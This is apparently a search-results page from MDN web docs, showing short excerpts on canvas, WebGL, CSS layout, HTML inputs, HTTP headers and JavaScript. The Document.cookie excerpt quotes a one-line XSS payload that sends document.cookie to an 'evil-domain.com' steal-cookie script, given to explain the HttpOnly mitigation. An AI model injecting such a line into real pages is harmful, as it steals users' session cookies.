mentbyid('canvas'); var ctx = canvas.getcontext('2d'); var ball = { x: 100, y: 100, radius: 25, color: 'blue', draw: function() { ctx.beginpath(); ctx.arc(this.x, this.y, this.radius, 0, math.pi * 2, true); ctx.closepath(); ctx.fillstyle = this.color; ctx.fill(); } }; ball.draw(); nothing special here, the ball is actually a simple circle and gets drawn with the help of the arc() method.
...again, window.requestanimationframe() helps us to control the animation.
Basic usage of canvas - Web APIs
this can look something like this: <canvas id="stockgraph" width="150" height="150"> current stock price: $3.15 + 0.15 </canvas> <canvas id="clock" width="150" height="150"> <img src="images/clock.png" width="150" height="150" alt=""/> </canvas> telling the user to use a different browser that supports canvas does not help users who can't read the canvas at all, for example.
... providing a useful fallback text or sub dom helps to make the canvas more accessible.
Hit regions and accessibility - Web APIs
the following guidelines can help to make it more accessible.
... focus rings when working with the keyboard, focus rings are a handy indicator to help navigating on a page.
Document.cookie - Web APIs
WebAPIDocumentcookie
see date.toutcstring() for help formatting this value.
...common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
when you’re only dealing with block-level elements such as <p> that only contain inline elements such as <em>, <strong>, <span>, etc., you don’t normally care about this because the extra whitespace that does make it to the layout is helpful to separate the words in the sentence.
... whitespace helper functions the javascript code below defines several functions that make it easier to deal with whitespace in the dom: /** * throughout, whitespace is defined as one of the characters * "\t" tab \u0009 * "\n" lf \u000a * "\r" cr \u000d * " " spc \u0020 * * this does not use javascript's "\s" because that includes non-breaking * spaces (and also some other characters).
Frame Timing API - Web APIs
this data can be used to help identify areas that take too long to provide a good user experience.
... this data, particularly the duration timestamp, can be used to help identify performance problems.
In depth: Microtasks and the JavaScript runtime environment - Web APIs
to understand where queuemicrotask() comes into play here, it's helpful to understand how the javascript runtime operates when scheduling and running code.
... solutions the use of web workers, which allow the main script to run other scripts in new threads, help to alleviate this problem.
Page Visibility API - Web APIs
for example, watching for blur and focus events on the window helps you know when your page is not the active page, but it does not tell you that your page is actually hidden to the user.
... timers such as settimeout() are throttled in background/inactive tabs to help improve performance.
WEBGL_debug_renderer_info - Web APIs
the webglrenderingcontext.getparameter() method can help you to detect which features are supported and the failifmajorperformancecaveat context attribute lets you control if a context should be returned at all, if the performance would be dramatically slow.
... examples with the help of this extension, privileged contexts are able to retrieve debugging information about about the user's graphic driver: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var debuginfo = gl.getextension('webgl_debug_renderer_info'); var vendor = gl.getparameter(debuginfo.unmasked_vendor_webgl); var renderer = gl.getparameter(debuginfo.unmasked_renderer_webgl);...
Clearing by clicking - Web APIs
if (!gl) { gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { alert("failed to get webgl context.\n" + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function.
... gl.clear(gl.color_buffer_bit); } // random color helper function.
Simple color animation - Web APIs
"); gl = canvas.getcontext("webgl") ||canvas.getcontext("experimental-webgl"); if (!gl) { clearinterval(timer); alert("failed to get webgl context.\n" + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function.
... gl.clear(gl.color_buffer_bit); } // random color helper function.
Matrix math for the web - Web APIs
using the identity matrix it should return a matrix identical to the original, since a matrix multiplied by the identity matrix is always equal to itself: // sets identityresult to [4,3,2,1] let identityresult = multiplymatrixandpoint(identitymatrix, [4, 3, 2, 1]); returning the same point is not very useful, but there are other types of matrices that can perform helpful operations on points.
...the function from above can be re-used to help out in this process: //matrixb • matrixa function multiplymatrices(matrixa, matrixb) { // slice the second matrix up into rows let row0 = [matrixb[ 0], matrixb[ 1], matrixb[ 2], matrixb[ 3]]; let row1 = [matrixb[ 4], matrixb[ 5], matrixb[ 6], matrixb[ 7]]; let row2 = [matrixb[ 8], matrixb[ 9], matrixb[10], matrixb[11]]; let row3 = [matrixb[12], matrixb[13], matrixb[14], matrixb[15]]; // multiply each row by matrixa let result0 = multiplymatrixandpoint(matrixa, row0); let result1 = multiplymatrixandpoint(matrixa, row1); let result2 = multip...
WebGL best practices - Web APIs
for example, it is possible for the following to never complete without context loss: sync = glfencesync(gl_sync_gpu_commands_complete, 0); glclientwaitsync(sync, 0, gl_timeout_ignored); webgl doesn't have a swapbuffers call by default, so a flush can help fill the gap, as well.
... keeping the application's vram usage under this cap will help to avoid out-of-memory errors and associated instability.
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
guides and tutorials below, you'll find an assortment of guides to help you learn webgl concepts and tutorials that offer step-by-step lessons and examples.
... webgl best practices tips and suggestions to help you improve the quality, performance, and reliability of your webgl content.
Signaling and video calling - Web APIs
media received before the ice negotiation is completed may be used to help ice decide upon the best connectivity approach to take, thus aiding in the negotiation process.
...this can help you know when the connection has failed, or been lost.
WebRTC API - Web APIs
the documentation you'll find here will help you understand the fundamentals of webrtc, how to set up and use both data and media connections, and more.
...included is a guide to help you choose the best codecs for your needs.
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
there are a number of terms that are helpful to understand, primarily around camera movement, as these terms are used to describe designed viewpoint changes with the virtual camera.
...this guide uses webgl directly since it's useful to understand to some extent what goes on under the hood, and to aide in the development of libraries or to help you optimize code.
Fundamentals of WebXR - Web APIs
webvr was generally considered to be an experimental api designed to help specification writers determine the best approaches to creating an api for virtual reality on the web.
...the following articles can help.
Movement, orientation, and motion: A WebXR example - Web APIs
this will help to solidify your understanding of how the geometry of 3d graphics and vr work, as well as to help ensure you understand the way the functions and data that are used during xr rendering work together.
... while reading this article and the accompanying source code, it's helpful to keep in mind that the display for a 3d headset is a single screen, divided in half.
WebXR Device API - Web APIs
foundations and basics fundamentals of webxr before diving into the details of how to create content using webxr, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way.
... performance and security webxr performance guide recommendations and tips to help you optimize the performance of your webxr application.
Using IIR filters - Web APIs
if you want to play with the iir filter node and need some values to help along the way, there's a table of already calculated values here; on pages 4 & 5 of the linked pdf the an values refer to the feedforward values and the bn values refer to the feedback.
...this should have shown you how to use the basics, and helped you to understand what it's useful for and how it works.
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
it may be helpful to be aware that settimeout() and setinterval() share the same pool of ids, and that cleartimeout() and clearinterval() can technically be used interchangeably.
...example: var intervalid = settimeout(function() { myfunc('one', 'two', 'three'); }, 1000); the above example can also be written with the help of an arrow function: var intervalid = settimeout(() => { myfunc('one', 'two', 'three'); }, 1000); yet another possibility is to use function's bind.
Accessibility: What users can do to browse more safely - Accessibility
taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions.
...grayscale is enabled when the color filters button is toggled "on" see also accessibilty accessibility learning path web accessibility for seizures and physical reactions color blindness discussion: "what is the “grayscale” setting for in accessibility options?" contributors many, many thanks to eric eggert from knowbility; for his discussions and huge help on this topic.
Operable - Accessibility
guideline 2.4 — navigable: provide ways to help users navigate, find content, and determine where they are the conformance criteria under this guideline relate to ways in which users can be expected to orientate themselves, and find the content and functionality they are looking for on the current page or other pages of the site.
... note: also see the wcag description for guideline 2.4 navigable: provide ways to help users navigate, find content, and determine where they are.
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
if you are trying to ensure backwards compatibility with old versions of browsers, and in particular ie10 and 11, the flexbugs site is a helpful resource.
...this guide will help you in those cases where you do come across an issue or have the requirement to support older browsers.
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
the following live example can help to demonstrate this.
...this can help change the default behaviour if, for example, you want an item to shrink more or less rapidly than its siblings or not shrink at all.
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
...typically, it helps to distribute extra free space leftover when either all the flex items on a line are inflexible, or are flexible but have reached their maximum size.
Basic Concepts of grid layout - CSS: Cascading Style Sheets
grid is a powerful specification that, when combined with other parts of css such as flexbox, can help you create layouts that were previously impossible to build in css.
...grid also introduces an additional length unit to help us create flexible grid tracks.
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
on paper grid helps us properly fulfill that promise of content separated from mark-up, however is it possible to go too far with this idea?
...also the video of léonie’s presentation from ffconf is helpful to understand more about how screen readers work with the visual representation of things in css.
Layout using named grid lines - CSS: Cascading Style Sheets
by selecting names that will make sense to you and your team you will help everyone to use the layouts you create more easily.
... .main-header, .main-footer { grid-column: col-start / span 12; } .side1 { grid-column: col-start / span 3; grid-row: 2; } .content { grid-column: col-start 4 / span 6; grid-row: 2; } .side2 { grid-column: col-start 10 / span 3; grid-row: 2; } once again, the grid highlighter is helpful to show us how the grid we have placed our items on works.
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
this can be helpful in creating a more app-like experience on mobile or even on the desktop for some types of applications.
... it could be helpful in ensuring users see each section of the scroller and don't accidentally zip past them.
Shapes From Images - CSS: Cascading Style Sheets
devtools can help you to identify cors errors.
...many demos do this as it helps to show the shape we are following, however the shape-outside property is not related to the image that is displayed on the page and so you do not need to display an image to use an image to create a shape.
Breadcrumb Navigation - CSS: Cascading Style Sheets
breadcrumb navigation helps the user to understand their location in the website by providing a breadcrumb trail back to the start page.
... accessibility concerns i have used the aria-label and aria-current attributes to help users understand what this navigation is and where the current page is in the structure.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
media queries can also be used to help users with disabilities understand your website better.
... this will help not only users with low vision and contrast sensitivity issues but also users that are working on a computer or phone with direct sunlight.
cursor - CSS: Cascading Style Sheets
WebCSScursor
help help information is available.
..., ]* [ auto | default | none | context-menu | help | pointer | progress | wait | cell | crosshair | text | vertical-text | alias | copy | move | no-drop | not-allowed | e-resize | n-resize | ne-resize | nw-resize | s-resize | se-resize | sw-resize | w-resize | ew-resize | ns-resize | nesw-resize | nwse-resize | col-resize | row-resize | all-scroll | zoom-in | zoom-out | grab | grabbing ] ] examples setting cursor types .foo { cursor: crossha...
image() - CSS: Cascading Style Sheets
mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 this feature can help improve accessibility by providing a fallback color when an image fails to load.
... providing fallback images .help::before { content: image("try.webp", "try.svg", "try.gif"); } in this example, the browser will display an image as generated content before the content of the element with the class of help.
transition-timing-function - CSS: Cascading Style Sheets
step-start equal to steps(1, jump-start) step-end equal to steps(1, jump-end) accessibility concerns some animations can be helpful such as to guide users to understand what actions are expected, to show relationships within the user interface, and to inform users as to what actions have occurred.
... animations can help reduce cognitive load, prevent change blindness, and establish better recall in spatial relationships.
Rich-Text Editing in Mozilla - Developer guides
devedge provides a javascript helper class, xbdesignmode, which is a wrapper for the designmode feature which hides the differences between ie and mozilla.
... resources mozilla.org's rich-text editing specification mozilla.org's rich-text editing demo converting an app using document.designmode from ie to mozilla at mozilla.org designmode msdn: how to create an html editor application a closed source, cross-browser rich-text editing demo xbdesignmode; a javascript helper class for easier cross-browser development using designmode.
Constraint validation - Developer guides
controlling the text of constraint violation the following items can help with controlling the text of a constraint violation: element.setcustomvalidity(message) method on the following elements: <fieldset>.
...together, they help explain why an element's value fails to validate, if it's not valid.
Introduction to Web development - Developer guides
whether you're just getting started with web development, or are just expanding your horizons into new realms of web awesomeness, the links here should help you get started.
... javascript beginning getting started with javascript — what is javascript and how can it help you?
Mobile Web Development - Developer guides
WebGuideMobile
optimizing images to help users whose devices have low or expensive bandwidth, you can optimize images by loading images appropriate to the device screen size and resolution.
... using tools like css lint can help find problems like this in code, and preprocessors like sass and less can help you to produce cross-browser code.
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
this helps a variety of people, including those with motor control issues and those using imprecise inputs such as a touchscreen.
...spacing helps people with motor control issues, who may otherwise accidentally activate the wrong interactive content.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
providing a useful fallback text or sub dom helps to make the the canvas more accessible.
...the following guides can help to make it more accessible.
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
the ui implementations generally don't let you enter anything that isn't a date — which is helpful — but you can still submit the form with the month input empty, or enter an invalid date (e.g.
... to help avoid this, you can use min and max to restrict the available dates (see setting maximum and minimum dates), and in addition use the required attribute to make filling in the date mandatory.
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
in this scenario, if the user clicked on the "phone" option and submitted the form, the resulting form data would be contact=on, which isn't helpful.
...ntact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </fieldset> </form> there's not much new to note here except for the addition of <fieldset> and <legend> elements, which help to group the functionality nicely and in a semantic way.
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
as a general rule, you should avoid using them unless it can't be helped.
...this helps users who tend to do searches on the same or similar search queries over time.
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
as a general rule, you should avoid using them unless it can't be helped.
... placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take.
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
as a general rule, you should avoid using them unless it can't be helped.
... a note on styling there are useful pseudo-classes available for styling form elements to help the user see when their values are valid or invalid.
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
table { border: 1px solid black; } th, td { border: 1px solid black; } explicitly specifying table content groups before really getting into styling this table, let's take a moment to add row and column groups to help make our css easier.
... color every body other row differently it's common to help improve readability of table data by alternating row colors.
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
by default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block." this article helps to explain what this means.
... 26 lang global attributes, html, reference the lang global attribute helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user.
Evolution of HTTP - HTTP
with the help of the new http headers, the ability to transmit other documents than plain html files has been added (thanks to the content-type header).
... the introduction of security-related prefixes in the cookie header, now helps guarantee a secure cookie has not been altered.
Browser detection using the user agent - HTTP
also, rethink your design: can you use progressive enhancement or fluid layouts to help remove the need to do this?
...this will help to not exclude lesser known browsers.
Content Security Policy (CSP) - HTTP
WebHTTPCSP
content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
...a properly designed content security policy helps protect a page against a cross site scripting attack.
HTTP caching - HTTP
WebHTTPCaching
if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users.
... in addition, it can help google and other search engines to discover the mobile version of a page, and might also tell them that no cloaking is intended.
Configuring servers for Ogg media - HTTP
in particular, the article on media container formats will be especially helpful when configuring serers to host media properly.
...the farther apart your key frames are, the longer this takes, so it's helpful to include key frames at regular intervals.
ETag - HTTP
WebHTTPHeadersETag
additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").
... examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-match headers, you can detect mid-air edit collisions.
Index - HTTP
WebHTTPHeadersIndex
this helps guard against cross-site scripting attacks (xss).
...on the other side, if the content has changed, etags are useful to help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").
Vary - HTTP
WebHTTPHeadersVary
for example, if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users.
... it can help google and other search engines to discover the mobile version of a page, and might also tell them that no cloaking is intended.
A typical HTTP session - HTTP
WebHTTPSession
(contains a site-customized page helping the user to find the missing resource) notification that the requested resource doesn't exist: http/1.1 404 not found content-type: text/html; charset=utf-8 content-length: 38217 connection: keep-alive cache-control: no-cache, no-store, must-revalidate, max-age=0 content-language: en-us date: thu, 06 dec 2018 17:35:13 gmt expires: thu, 06 dec 2018 17:35:13 gmt server: meinheld/0.6.1 strict-...
...(contains a site-customized page helping the user to find the missing resource) response status codes http response status codes indicate if a specific http request has been successfully completed.
JavaScript data types and data structures - JavaScript
the following table helps determine the equivalent c data types: type value range size in bytes description web idl type equivalent c type int8array -128 to 127 1 8-bit two's complement signed integer byte int8_t uint8array 0 to 255 1 8-bit unsigned integer octet uint8_t uint8clampedarray 0 to 255 1 8-bit unsigned integer (clam...
... determining types using the typeof operator the typeof operator can help you to find the type of your variable.
Meta programming - JavaScript
with the help of these two objects you are able to program at the meta level of javascript.
... reflect helps with forwarding default operations from the handler to the target.
JavaScript modules - JavaScript
there is also a type of export called the default export — this is designed to make it easy to have a default function provided by a module, and also helps javascript modules to interoperate with existing commonjs and amd module systems (as explained nicely in es6 in depth: modules by jason orendorff; search for "default exports").
... troubleshooting here are a few tips that may help you if you are having trouble getting your modules to work.
Using Promises - JavaScript
these make it possible to offer fallback error handling for promises, as well as to help debug issues with your promise management.
... if you think microtasks may help solve this problem, see the microtask guide to learn more about how to use queuemicrotask() to enqueue a function as a microtask.
SyntaxError: missing } after function body - JavaScript
indenting or formatting the code a bit nicer might also help you to see through the jungle.
... (function() { if (true) { return false; } ); oftentimes, indenting differently or double checking indentation helps to spot these errors.
JavaScript error reference - JavaScript
these errors can be a helpful debugging aid, but the reported problem isn't always immediately clear.
... errors displayed in the web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code.
Optional chaining (?.) - JavaScript
it can also be helpful while exploring the content of an object when there's no known guarantee as to which properties are required.
...this can be helpful, for example, when using an api in which a method might be unavailable, either due to the age of the implementation or because of a feature which isn't available on the user's device.
Authoring MathML - MathML
html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management systems to help writing web pages.
...it's recommended to convert your content mathml markup into presentation mathml before publishing it, for example with the help of the ctop.xsl stylesheet.
MathML documentation index - MathML
WebMathMLIndex
html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management systems to help writing web pages.
... 3 examples beginner, example, guide, mathml, needsbeginnerupdate below you'll find some examples you can look at to help you to understand how to use mathml to display increasingly complex mathematical concepts in web content.
Digital audio concepts - Web media technologies
sound to store into it) a need to constrain the network bandwidth required to broadcast the audio; this is especially important for live streams and teleconferencing psychoacoustics 101 diving into the details of psychoacoustics and how audio compression works is far beyond the scope of this article, but it is useful to have a general idea of how audio gets compressed by common algorithms can help understand and make better decisions about audio codec selection.
...the audio bandwidth can't be reduced nearly as much as for a speech-only codec, but it is still a helpful start.
Web video codec guide - Web media technologies
this guide introduces the video codecs you're most likely to encounter or consider using on the web, summaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video.
...the documentation included with your encoding software will help you to understand the specific impact of these options on the encoded video.
Animation performance and frame rate - Web Performance
while performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you prevent and diagnose problems when they occur.
...animation can help make a site feel faster and responsive, but animations can also make a site feel slower and janky if not done correctly.
Navigation and resource timings - Web Performance
to help measure the time it takes to complete all the steps, the performance timing api provides read only measurements of navigation timings.
...keeping this at 50ms or faster helps ensure a responsive user interface.
Using dns-prefetch - Web Performance
while dns caching can help to reduce this latency, dns resolution can add significant latency to requests.
... dns-prefetch helps developers mask dns resolution latency.
Introduction to progressive web apps - Progressive web apps (PWAs)
early stage emerging startups like couponmoto have also started using progressive web apps to drive more consumer engagement, showing that they can help small as well as big companies to (re-)engage users more effectively.
...modern web apps can now do this too, using new technologies such as service workers for controlling pages, the web push api for sending updates straight from server to app via a service worker, and the notifications api for generating system notifications to help engage users when they're not actively using their web browser.
Structural overview of progressive web apps - Progressive web apps (PWAs)
for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but it's still perfectly usable without it.
...with a little help from service workers, streams can greatly improve the way we parse content.
Information Security Basics - Web security
a basic understanding of information security can help you avoid unnecessarily leaving your software and sites insecure and vulnerable to weaknesses that can be exploited for financial gain or other malicious reasons.
... these articles can help you learn what you need to know.
Securing your site - Web security
there are a number of things you can do to help secure your site.
... content security policy an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
14 an overview needshelp, needsmarkupwork, transforming_xml_with_xslt, xml, xslt the extensible stylesheet language/transform is a very powerful language, and a complete discussion of it is well beyond the scope of this article, but a brief discussion of some basic concepts will be helpful in understanding the description of netscape's capabilities that follows.
... 15 for further reading needscontent, needshelp, transforming_xml_with_xslt, xml, xslt http://www.amazon.com/xslt-programme.../dp/0764543814 16 resources extensions, needscontent, needsexample, needslivesample, xml, xsl no summary!
Web technology for developers
web developer guide the web developer guide provides useful how-to content to help you actually use web technologies to do what you want or need to do.
... temporary the stuff below here is temporary to help keep track of things while organization work is ongoing.
Caching compiled WebAssembly modules - WebAssembly
the function starts off by defining some necessary constants: function instantiatecachedurl(dbversion, url, importobject) { const dbname = 'wasm-cache'; const storename = 'wasm-cache'; setting up the database the first helper function contained inside instantiatecachedurl() — opendatabase() — creates an object store for storing wasm modules, and also handles clearing out the database if the dbversion is updated; it returns a promise resolving to the new database.
... function storeindatabase(db, module) { var store = db.transaction([storename], 'readwrite').objectstore(storename); var request = store.put(module, url); request.onerror = err => { console.log(`failed to store in wasm cache: ${err}`) }; request.onsuccess = err => { console.log(`successfully stored ${url} in wasm cache`) }; } using our helper functions with all the promise-based helper functions defined, we can now express the core logic of an indexeddb cache lookup.
Classes and Inheritance - Archive of obsolete content
the add-on sdk team consists of highly trained professionals, but they are also lazy: that is why the sdk contains a helper function that handles this boilerplate code for us.
Content Processes - Archive of obsolete content
the method once is a helper function which adds a listener for an event, and automatically removes it the first time it is called.
Private Properties - Archive of obsolete content
as always with code that is heavily reused, the sdk defines a helper function to create namespaces.
context-menu - Archive of obsolete content
for instance, you might want your menu item to appear for any page that has at least one image, but declarative contexts won't help you there.
indexed-db - Archive of obsolete content
the add-on implements helper functions open(), additem() and getitems() to open the database, add a new item to the database, and get all items in the database.
panel - Archive of obsolete content
html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> <script src="get-text.js"></script> </body> </html> styling panel content the panel's default style is different for each operating system: this helps to ensure that the panel's style is consistent with the dialogs displayed by firefox and other applications, but means you need to take care when applying your own styles.
core/heritage - Archive of obsolete content
helper functions for inheritance.
core/promise - Archive of obsolete content
romise, resolve } = defer(); settimeout(resolve, ms, value); return promise; } delay(10, 'hello world').then(console.log); // after 10ms => 'helo world' advanced usage if general defer and promised should be enough to doing almost anything you may think of with promises, but once you start using promises extensively you may discover some missing pieces and this section of documentation may help you to discover them.
frame/utils - Archive of obsolete content
experimental provides helper functions for working with platform internals like frames and browsers.
places/bookmarks - Archive of obsolete content
remove(items) a helper function that takes in a bookmark item, or an array of several bookmark items, and sets each item's remove property to true.
places/favicon - Archive of obsolete content
helper functions for working with favicons.
remote/parent - Archive of obsolete content
its primary purpose is to help build apis.
stylesheet/utils - Archive of obsolete content
experimental helper functions for working with stylesheets.
util/array - Archive of obsolete content
helper functions for working with arrays.
Storing annotations - Archive of obsolete content
tion () { notifications.notify({ title: 'storage space exceeded', text: 'removing recent annotations'}); while (simplestorage.quotausage > 1) simplestorage.storage.annotations.pop(); }); because we use a notification to alert the user, we need to import the notifications module: var notifications = require("sdk/notifications"); (it should be obvious that this is an incredibly unhelpful way to deal with the problem.
Troubleshooting - Archive of obsolete content
this page lists some starting points that might help you track down your problem.
Unit Testing - Archive of obsolete content
the sdk provides a framework to help create and run unit tests for your code.
Localization - Archive of obsolete content
these are strings which appear alongside the preference in the add-ons manager, to help explain to the user what the preference means.
Tutorials - Archive of obsolete content
troubleshooting some pointers for fixing common problems and getting more help.
Bootstrapped extensions - Archive of obsolete content
edward lee shows off some helpful coding patterns and examples you can use in your bootstrapped add-on.
Dialogs and Prompts - Archive of obsolete content
helphelp button (doesn't work in thunderbird 1.0 bug 256915) extra1, extra2 — two buttons without any predefined labels or meaning.
JS XPCOM - Archive of obsolete content
creating an instance of a component the preferred method of creating xpcom instances is via the components.constructor helper.
StringView - Archive of obsolete content
strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
at this point, it would be very helpful to have a bit of experience writing "regular" extensions (i.e.
Enhanced Extension Installation - Archive of obsolete content
making the database file format human readable would also help developers debug their installation problems.
How to convert an overlay extension to restartless - Archive of obsolete content
also, they're not particularly helpful if your data isn't all of the exact same type (which it probably isn't).
Jetpack Processes - Archive of obsolete content
this is useful for associating handles to the lifetime of a particular window, context menu, or other element, and helping ensure that they do not leak.
Listening to events in Firefox extensions - Archive of obsolete content
there are several different categories of events; this article will help you learn about them and direct you to more specific documentation covering each of them.
Appendix: What you should know about open-source software licenses - Archive of obsolete content
it asks a series of questions, and your responses help you pick the right license.
Chapter 1: Introduction to Extensions - Archive of obsolete content
the add-ons manager handles the following tasks: safely installs and uninstalls add-ons makes sure add-ons are compatible with the version of firefox you're using manages a whitelist of sites trusted for installing add-ons helps troubleshoot add-ons by disabling them and offering a safe mode confirms and runs updates provides access to add-ons' settings dialogs provides access to add-ons' support sites development environment amenities initially, there wasn't adequate documentation available, and extension developers were largely left to fend for themselves1; however, now there's a considerable store of knowledge.
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
if you’re having trouble with any of the details of the interface, it is helpful to search on the source code for usage examples within firefox.
Adding Events and Commands - Archive of obsolete content
the broadcaster element can help you out in these cases.
Adding windows and dialogs - Archive of obsolete content
luckily, you still get a great deal of help from the platform if you use the dialog element as the document root instead of the more generic window element.
Connecting to Remote Content - Archive of obsolete content
they help you to track http/https requests and responses occurring in firefox.
Useful Mozilla Community Sites - Archive of obsolete content
hopefully this guide has helped you get started with add-on development and you're on your way to joining the large mozilla add-ons developer community.
Performance best practices in extensions - Archive of obsolete content
netutils.jsm provides helpers for asynchronous reading and copying of files.
Extensions support in SeaMonkey 2 - Archive of obsolete content
- gopopup gopopup go menu popup placespopup - - history menu popup bookmarksmenupopup menu_bookmarkspopup menu_bookmarkspopup bookmarks menu popup menu_toolspopup taskpopup taskpopup tools menu popup - windowpopup windowpopup window menu popup menu_helppopup helppopup helppopup help menu popup urlbar icons to display a button with a menupopup in the urlbar-icons for both firefox and seamonkey 2.0, use this code: <hbox id="urlbar-icons"> <image popup="myext-menu"/> </hbox> <window id="main-window"> <menupopup id="myext-menu"> <menuitem label="menuitem"/> <...
Setting up an extension development environment - Archive of obsolete content
development extensions these extensions may help you with your development.
Add-ons - Archive of obsolete content
tabbed browser here you should find a set of useful code snippets to help you work with firefox's tabbed browser.
Creating a status bar extension - Archive of obsolete content
some of the samples in this series may be similar to samples you've seen elsewhere, but the goal of this series of articles is to help compile information for new extension developers into one place to make it easy to jump in and get started.
List of Former Mozilla-Based Applications - Archive of obsolete content
applications that switched to another technology name description additional information angelsoft tools for startups, vcs, and angel investors switched from xulrunner-based client to a web application autodesk maya 3d modeling tool switched off of gecko for help browser in version 8.5 blam feed reader switched to webkit in version 1.8.6 boxee media center software switched to webkit in version 1.0 epiphany browser switched from gecko to webkit flock social browsing flock switched from being firefox-based to chromium-based when it released a new beta on june 16, 2010 jolicloud web ope...
List of Mozilla-Based Applications - Archive of obsolete content
this product was using mozilla in 2004 but i’m not sure if new version still does hacketyhack little coders helma web application framework uses mozilla rhino holt mcdougal cd-roms educational cd-roms activity generator and lab generator are both based on custom firefox distributions houdini 3d animation tools uses gecko in embedded help viewer httpunit automated testing framework uses mozilla rhino htmlunit browser for java programs uses mozilla rhino hyperinfo web application plat form uses goeckofx ibm websphere lombardi edition business process management system uses mozilla rhino and mozilla xpcom eclipse plug-in.
Images, Tables, and Mysterious Gaps - Archive of obsolete content
there is one obvious fix-- stop creating designs that are dependent on tables and sliced up or single-pixel images-- but it's not terribly practical for many designers, and it sure doesn't help fix old designs that are suddenly blowing apart in recent browsers.
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
thunderbird (previous release) support of autoconfig and ldap calls below is a "try and catch" we had in previous release of thunderbird where that feature wasn't compiled in by default, it can help if needed ...
Kill the XUL.mfl file for good - Archive of obsolete content
but creating a subdirectory named xul.mfl in mozilla's profile directory seems to help (mozilla is not smart enough to remove the directory before creating the file, thus the presence of the directory effectively disables this (mis)feature).
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
feel free to append here your issues fixes if the above guide helped you.
Conclusion - Archive of obsolete content
if the version you created in this tutorial doesn't work, compare it to this working version to help figure out the problem.
Finding the code to modify - Archive of obsolete content
as a side note it would be good if the inspectorwidget additions were integrated directly in domi, that would help everyone.
chrome.manifest - Archive of obsolete content
